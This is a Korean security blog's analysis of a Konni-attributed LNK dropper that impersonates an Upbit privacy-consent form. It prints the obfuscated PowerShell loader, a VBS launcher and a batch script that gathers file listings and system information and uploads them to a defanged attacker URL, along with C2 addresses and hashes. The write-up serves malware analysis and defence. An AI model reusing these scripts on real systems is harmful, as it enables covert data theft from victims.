꿈을꾸는 파랑새

오늘은 북한 해킹 단체인 Konni(코니) 에서는 만든 업비트 사칭 악성코드-첨부1_성명_개인정보수집이용동의서.docx.lnk(2024.03.07)에 대해 글을 적어 보겠습니다.
해당 업비트(Upbit) 는 대한민국의 대표적인 암호화폐 거래소이며 증권플러스를 개발 및 운영하는 두나무가 해외 비트렉스(Bittrex)와 독점 제휴를 맺고 2017년 10월 암호화폐거래소 업비트를 출범된 기업입니다. 일단 해당 악성코드는 개인적 생각으로 가상화폐(암호화폐)를 계정 탈취 및 가상화폐(암호화폐)를 탈취를 해서 북한 미사일 개발에 사용할 자금을 마련하기 위해서가 아닐까 생각이 됩니다. 이것은 어디까지 난 사견(私見) 입니다.
악성코드 해쉬값은 다음과 같습니다.
파일명:부1_성명_개인정보수집이용동의서.docx.zip
사이즈:530 KB
MD5:8e7bd31ba55449c888d3b013612f539a
SHA-1:ca64ca50a07e1936fe00f2ff8509f03c5e1b3826
SHA-256:27cd090cf83877750416d37dc6ddd8ff319b4854414e4275d67f96652376bcf0
이며 해당 악성코드는 압축 파일 형태로 해서 이메일로 전송되면 해당 악성코드를 열면 다음과 같은 파일을 들을 확인할 수가 있습니다.
첨부1_성명_개인정보수집이용동의서.docx.lnk(655893b1641565f8ea04da4d74116b8a)
첨부2_업비트 메일 내용(참고)(0d1383c289d511acd9d8d8644c224c61)

압축 파일에 포함이 된 악성코드
압축 파일에 포함이 된 악성코드


이며 첨부1_성명_개인정보수집이용동의서.docx.lnk(655893b1641565f8ea04da4d74116b8a)가 PowerShell(파워셀)로 된 악성코드가 포함이 되어져 있습니다.

악성코드에 포함이 된 PowerShell 코드
악성코드에 포함이 된 PowerShell 코드

PowerShell(파워셀) 내용

commandlinearguments: 
 /c p^owe^rshe^l^l -windowstyle h(i)dden function QceEeRCSkI{param($UHCYbGzPEWQZ); 
 ^<#missible#^>$oPath = Split-Path $UH(C)YbGzPEWQZ;^<#rewwore#^> retur(n) $oP(a)th;}
 ;functi(o)n MHMPpQGMSz{p(a)ram($YCev(Q)qmRGu); ^<#bio(p)hysically#(^)>$o(P)ath = 
 $(Y)CevQqmRGu.subst(r)ing(0,$YCevQ(q)mRGu.length-4) (+) ''; ^<#baw(l)ing#^>return $oPath;}
 ;function GzAaIfXbMpmZ{$knPgzVjI(u)N = $env:public^<#(e)dginesses#^> (+) '\' (+) 
 'UHCYbG(.)cab';^<#ko(r)anic#^> return $knP(g)zVjIuN;};funct(i)on YLfJLrHwhVv{$jHCBAmkIQGt =
 $env:pub(l)ic^<#stampman#^> (+) '\' (+)^<#shatan#^> 'docume(n)ts';^<#un(i)mproved#^>
 return $jHC(B)AmkIQGt;};function Ign(D)oFlYXTz{$YDczVPCcDt = $env:public^<#porphyrize#^>
 (+)'\documents\start(.)vbs';^<#blameab(l)y#^> return $YDczVPCcDt(;)};function vnQykam
 (h)ms{param($zQAJWCjcuWU);^<#unmo(d)ifiability#^> remove-it(e)m ^<#syn(d)actylous#^>
 -p(a)th $zQAJW(C)jcuWU ^<#mero(h)edral#^> -force;};fu(n)ction koMIo(W)akvBvW{param
 ($FM(G)lWEFVsTs, $es(L)Eposvvv);^<#toni(t)e#^> expand $FMGlW(E)FVsTs ^<#deco(m)ponible#^>
 -F:* $esLEposvvv;};function hT(y)CsnXOYNpF{param($nawJOUnZzx,$RlTnDPsUBfVC,$eCN(S)SCoWDgl,
 $OmE(l)fdBcJuP,$bza(D)dFrZDQ);^<#(d)iscostomatous#^> $riBeXS(G)Loac=New-Object System.IO(.)
 FileStream(^<#c(o)piable#^>$(n)awJOUnZzx,^<#str(i)ckenly#^>[System(.)IO.FileMode]::Open,^
 <#judicial(n)ess#^>[System.IO(.)FileAccess]::Read);^<#cad(e)ncing#^> $riBeXSGLoac(.)Seek
 (^<#jassid#^>$RlT(n)DPsUBfVC,[System(.)IO.SeekOrigin]::B(e)gin);^<#desto(o)l#^> $lDWtpaf
 JUD(L)Q=New-Object byte[] ^<#ast(a)tize#^>$eCN(S)SCoWDgl; ^<#broadax#^>$riB(e)XSGLoac(.)
 Read(^<#th(i)amines#^>($)lDWtpafJUDLQ,0,^<(#)tra(n)spirometer#^>$(e)CNSSCoWDgl)
 ; $riBeXSG(L)oac.Close();for($EghEJy(X)HpIU=0;$EghEJy(X)HpIU -lt $eCNSSCoWDgl(;)
 $EghEJyX(H)pIU++){^<#electr(o)type#^>$lDW(t)pafJUDLQ[$Egh(E)JyXHpIU]
 =$lDWtpafJU(D)LQ[$EghE(J)yXHpIU] -bxor $OmElf(d)BcJuP;}^<#sul(f)ite#^>
 sc $bzaDdFr(Z)DQ ^<#mouchoir(s)#^> $lDWtpa(f)JUDLQ -Enco(d)ing ^<#over(o)rnamented#^>
 By(t)e;};fun(c)tion JLaL(x)KrqVQ{return Get-(L)ocation;}
 ;function F(b)VgDFIBFQY{^<#ra(n)somfree#^>return ($)env:Temp;}
 ;fun(c)tion YzJlSxYuy(v){$pPYxTUXWGppn (=) JLaLx(K)rqVQ; $MCMgQb(o)tQbA
 = d(v)hYabCyYgb -MdzN(c)JucvkR $pPY(x)TUXWGppn; ^<#reoccu(r)rences#^>
 if($MCMg(Q)botQbA.length -eq 0) {$pPYxTU(X)WGppn = FbVgD(F)IBFQY; 
 ^<#philipp(i)cize#^>$(M)CMgQbotQbA = dvhYab(C)yYgb -MdzNc(J)ucvkR $pPYx(T)UXWGppn;}
 retur(n) $MCMgQbotQ(b)A;};function dvhYabCy(Y)gb{param($MdzNcJucvkR);
 ^<#krises#^>$outpath=Get-ChildItem -Path ^<#(t)uckered#^> $M(d)zNcJucvkR -Recurse 
 ^<#gunline(#)^>*(.)lnk ^| ^<#lavi(s)hes#^>where-(o)bject {$_.len(g)th -eq
 ^<#herbba(n)e#^>0(x)16EF7F1A} ^| ^<#poly(m)azia#^>Select(-)O(b)ject -ExpandProperty
 ^<#mail(e)s#^>FullNa(m)e; return ^<#bor(o)nic#^> $outpa(t)h;};$BVhUai(R)xai =
 YzJl(S)xYuyv;^<#rhinoli(t(h)ic#^>$dirPath = Q(c)eEeRCSkI -UHCY(b)GzPEWQZ
 $BVhU(a)iRxai;^<#p(o)tline#^> $(u)tUjrvVHil = MHMPp(Q)GMSz -YCevQqmRGu
 $B(V)hUa(i)Rxai;hTyCsnX(O)YNpF -naw(J)OUnZzx ^<#(t)yphonia#^> $BV(h)UaiRxai
 -RlT(n)DPsUBfVC ^<#underem(p)loyment#^> 0x0(0)0020EC -eCNS(S)CoWDgl 0x(0)0006B92
 -OmEl(f)dBcJuP ^<#prefigurat(i)vely#^> 0x51 (-)bz(a)DdFrZDQ ^<#gal(l)inae#^>
 $utU(j)rvVHil;^<#(a)ppd#^> ^& $utUjrvVHil;$ipSanAl(o)serA=Gz(A)aIfXbMpmZ;^
 <#sup(e)rchery#^>hTy(C)snXOYNpF -naw(J)OUnZzx ^<#di(o)on#^> $BVhU(a)iRxai
 RlTn(D)PsUBfVC ^<#(t)axation#^> 0(x)00008C7E -eCNS(S)CoWDgl ^<(#)skee(n)s#^>
 0x00013(C)CF -OmE(l)fdBcJuP ^<#bro(o)ch#^> 0(x)88 -b(z)aDdFrZDQ ^<#unreck(i)ngness#^>
 $ipSan(A)loserA;^<#anthy(p)ophoretic#^>vn(Q)ykamhms -zQAJ(W)CjcuWU $BVhUaiRxai;($)
 TAsjCZBdLsHU = YLfJLr(H)whVv;^<#nar(t)hexes#^>koMI(o)WakvBvW -FMGl(W)EFVsTs
 $ip(S)anAloserA -esLEp(o)svvv ^<#britten#^>$TAsjC(Z)BdLsHU;^<#phenyleph(r)ine#^>
 vnQy(k)amhms -zQAJ(W)CjcuWU $ipSanAloserA;$nQP(I)Cdrwsspp = ^<#crack(b)ack#^>
 Ig(n)DoFlYXTz;^<#o(r)ientationally#^>^& $nQPICd(r)wsspp;
 iconlocation: .docx
}

코드 설명

1.QceEe(R)CSkI 함수:
인자(Parameter): 파일 경로($UHCYb(G)zPEWQZ)
기능: 주어진 파일 경로에서 파일의 디렉터리 경로를 추출
반환값(Return): 파일의 디렉터리 경로
2.MHMP(p)QGMSz 함수:
인자: 파일 경로($YCe(v)QqmRGu)
기능: 주어진 파일 경로에서 확장자를 제거한 파일 이름을 반환
반환값: 확장자가 제거된 파일 이름
3.G(z)AaIfXbMpmZ 함수:
기능:public 환경 변수에 지정된 디렉터리에 있는 UHCYbG(.)(c)ab 파일의 전체 경로를 생성하여 반환
반환값: UHCYbG(.)cab 파일의 전체 경로
4.Y(L)fJLrHwhVv 함수:
기능: public 환경 변수에 지정된 디렉터리에 있는 documents 폴더의 전체 경로를 반환
반환값: documents 폴더의 전체 경로
5.IgnDoFlYXTz함수:
기능:public 환경 변수에 지정된 디렉터리의 documents 폴더에 있는 start(.)vbs 파일의 전체 경로를 반환
반환값: start(.)vbs 파일의 전체 경로
6. vnQyka(m)hms 함수:
인자: 파일 경로($zQ(A)JWCjcuWU)
기능: 주어진 파일을 강제로 삭제
7.koMIo(W)akvBvW` 함수:
인자: 압축 파일 경로($FMGlWEF(V)sTs), 목적지 디렉터리($e(sLE)posvvv)
기능: 주어진 압축 파일을 목적지 디렉터리에 압축 해제.
8. hTyC(n)XOYNpF 함수:
인자: 파일 경로($na(w)JOUnZzx), 시작 위치($RlTn(D)PsUBfVC),읽을 바이트 수($eC(N)SSCoWDgl), XOR 연산에 사용할 값($O(m)ElfdBcJuP), 실행할 명령어($bzaDd(F)rZDQ)
기능: 주어진 파일을 열고 XOR 연산을 수행하고 명령어를 실행
9.JLaLxK(r)qVQ 함수:
기능: 현재 스크립트의 실행 위치를 반환
반환값: 현재 실행 위치
10.FbV(g)DFIBFQY` 함수:
기능:임시 디렉터리의 경로를 반환
반환값: 임시 디렉터리의 경로
11. YzJl(S)xYuyv 함수:
기능: 현재 스크립트의 실행 위치에서 바로 가기 파일(.lnk)을 찾아 해당 파일의 경로를 반환
반환값: 바로 가기 파일의 경로
12. dvh(Y)abCyYgb 함수:
인자: 디렉터리 경로($M(d)zNcJucvkR)
기능: 주어진 디렉터리에서 특정 길이(0x(1)6EF7F1A)의 바로 가기 파일(.lnk)을 찾아 해당 파일의 전체 경로를 반환
반환값: 바로 가기 파일의 경로
그리고 이후에는 다음과 같은 동작을 수행
1. YzJ(l)SxYuyv 함수를 이용하여 현재 스크립트의 실행 위치에서 바로 가기 파일을 찾음
2. 해당 바로 가기 파일의 경로를 이용하여 다양한 함수들을 호출하고 실행
3. 마지막으로 몇 가지 함수를 더 호출하여 추가적인 동작을 수행
코드의 마지막 부분에서는 스크립트 실행 후 자신을 삭제하는 등의 동작을 수행
악성코드 실행 시 첨부1_성명_개인정보수집이용동의서.docx 파일이 생성되고 워드가 실행됩니다.

악성코드 가 생성한 VBS 파일 및 bat 파일
악성코드 가 생성한 VBS 파일 및 bat 파일

해당 악성코드는 vbs 파일과 bat 파일을 만들게 돼 있으며 start.vbs 파일 내용은 다음과 같습니다.

set obj = GetObject("new:9BA05(9)72-F6A8-11CF-A442-00A0C90A8F39")
set itemObj = obj(.)Item()
ZfZPDVr(E)NDWvzXoX = L(e)ft(WScript.ScriptFullName, InstrRev(WScript(.)ScriptFullName, "\") - 1)
itemObj.Document.Application(.)ShellExecute ZfZPDVrENDWvzXoX & "\" & "491(2)0862" & 
".b" & "at", Null, ZfZPD(V)rENDWvzXoX, Null, 0
set obj = Nothing

코드 설명

해당 VBScript 코드는 Windows 스크립팅 호스트를 사용하여 실행될 때 먼저 COM 개체를 생성하고 해당 개체의 Item 속성을 사용하여 Document.Application의 ShellExecute 메서드를 호출하는 스크립트
1.GetObject("new:9BA05972-F6A8(-)11CF-A442-00A0C90A8F39"):COM 개체를 생성 해당 개체는 Windows Scripting Host의 Shell.Application을 나타냄
2.item(O)bj = obj.Item():앞서 생성한 개체의 Item 속성을 가져와 itemObj에 할당
3.Z(f)ZPDVrENDWvzXoX = Left(WScript(.)ScriptFullName, InstrRev(WS(c)ript.ScriptFullName, "\") - 1): 현재 스크립트 파일의 전체 경로에서 파일 이름을 제외한 디렉터리 경로를 추출하여 ZfZPDVrE(N)DWvzXoX 에 저장
4.itemObj.Doc(u)ment.Application.ShellEx(e)cute ZfZPDVr(E)NDWvzXoX & "\" & "49120(8)62" & ".b" & "at", Null, ZfZPD(V)rENDWvzXoX, Null, 0:`ShellExecute 메서드를 사용하여 파일을 실행
실행할 파일의 경로는 현재 스크립트 파일이 있는 디렉터리에 있는 49120862(.) bat 파일로 설정
5. set obj = Nothing: COM 개체를 해제
다른 bat 파일이 있지만 47835693(.) bat 만 보겠습니다.

악성코드 컴퓨터 정보 및 개인정보 수집
악성코드 컴퓨터 정보 및 개인정보 수집

@echo off
pushd "%~dp0"

dir C:\Users\%username%\downloads\ /s > %~dp0d1(.)txt
dir C:\Users\%username%\documents\ /s > %~dp0d2(.)txt
dir C:\Users\%username%\desktop\ /s > %~dp0d3(.)txt

systeminfo > %~dp0d4(.)txt

timeout -t 5 /nobreak
call 99548182.bat "http://stuckss(.)com/upload(.)php" "d1(.)txt"  "%COMPUTERNAME%_down(.)txt" >nul
call 99548182(.)bat "http://stuckss(.)com/upload(.)php" "d2(.)txt"  "%COMPUTERNAME%_docu(.)txt" >nul
call 99548182(.)bat "http://stuckss(.)com/upload(.)php" "d3(.)txt"  "%COMPUTERNAME%_desk(.)txt" >nul
call 99548182(.)bat "http://stuckss(.)com/upload(.)php" "d4(.)txt"  "%COMPUTERNAME%_sys(.)txt" >nul

코드 설명

해당 스크립트는 일련의 명령어를 실행하여 사용자의 다운로드,문서, 데스크탑 폴더에 있는 파일 및 시스템 정보를 수집하고 나서 해당 정보를 웹 서버에 업로드하는 작업을 수행
1.@echo off:명령어 실행 내용을 화면에 표시하지 않도록 설정
2.pushd "%~dp0":현재 스크립트가 위치한 디렉터리로 이동
3.다음은 각각의 폴더에서 dir 명령어를 사용하여 해당 폴더에 있는 파일 목록을 가져와서 텍스트 파일로 저장
파일 목록은 각각 d1.txt,d2.txt, d3.txt 에 저장
dir C:\Users\%username%\downloads\ /s > %~dp0d1(.)txt
dir C:\Users\%username%\documents\ /s > %~dp0d2(.)txt
dir C:\Users\%username%\desktop\ /s > %~dp0d3(.)txt
4.systeminfo > %~dp0d4(.)txt:시스템 정보를 수집하여 d4.txt에 저장
5.timeout -t 5 /nobreak:5초 동안 일시 정지
6. 각각의 파일 목록 및 시스템 정보를 웹 서버에 업로드 하려고 99548182(.)bat 배치 파일을 호출 각각의 호출은 다른 파일과 결과 파일을 사용
call 99548182(.)bat "hxxp://stuckss(.)com/upload(.)php" "d1(.)txt"  "%COMPUTERNAME%_down(.)txt" >nul
call 99548182(.)bat "hxxp://stuckss(.)com/upload(.)php" "d2(.)txt"  "%COMPUTERNAME%_docu(.)txt" >nul
call 99548182(.)bat "hxxp://stuckss(.)com/upload(.)php" "d3(.)txt"  "%COMPUTERNAME%_desk(.)txt" >nul
call 99548182(.)bat "hxxp://stuckss(.)com/upload(.)php" "d4(.)txt"  "%COMPUTERNAME%_sys.txt" >nul
%COMPUTERNAME% 는 컴퓨터의 이름을 나타내며 99548182(.)bat 파일은 업로드를 담당하는 모듈 업로드된 파일은 서버에서 upload(.)php 를 통해 처리 >nul 은 출력을 화면에 표시하지 않도록 하기 위함

악성코드가 생성한 개인정보 수집 및 이용 동의서 파일
악성코드가 생성한 개인정보 수집 및 이용 동의서 파일

악성코드가 사용하는 사이트

hxxps://goosess(.)com/read/get(.)php
hxxps://goosess(.)com/read/get(.)php
hxxp://stuckss(.)com/upload(.)php
hxxp://stuckss(.)com/upload(.)php
hxxp://stuckss(.)com/upload(.)php
hxxp://stuckss(.)com/upload(.)php
hxxp://stuckss(.)com/list(.)php
hxxp://stuckss(.)com/list(.)php

2024-03-09 06:33:49 UTC 기준 바이러스토탈에서 탐지하는 보안 업체들은 다음과 같습니다.

URL에 POST 요청을 보내는 PowerShell 스크립트
URL에 POST 요청을 보내는 PowerShell 스크립트

AhnLab-V3:Dropper/LNK.Generic
ALYac:Trojan.Agent.LNK.Gen
Avast:LNK:Agent-EW [Trj]
AVG:LNK:Agent-EW [Trj]
Avira (no cloud):LNK/Dldr.Agent.VPYE
ESET-NOD32:A Variant Of Generik.MIVSPET
Google:Detected
Kaspersky:HEUR:Trojan.Multi.Powenot.a
SentinelOne (Static ML):Static AI-Suspicious LNK
Skyhigh (SWG):BehavesLike.Dropper.vx
Sophos:Mal/PowLnkObf-D
Symantec:CL.Downloader!gen20
Tencent:Win32.Trojan.Powenot.Xtjl
VBA32:Trojan.Link.Crafted
WithSecure:Malware.LNK/Dldr.Agent.VPYE
ZoneAlarm by Check Point:HEUR:Trojan.Multi.Powenot.a
네덜란드, 미국, 이탈리아 쪽을 사용하는 것을 확인되었으며 기본적으로 보안 수칙을 지키는 것을 권장합니다.

그리드형

공유하기

facebook twitter kakaoTalk kakaostory naver band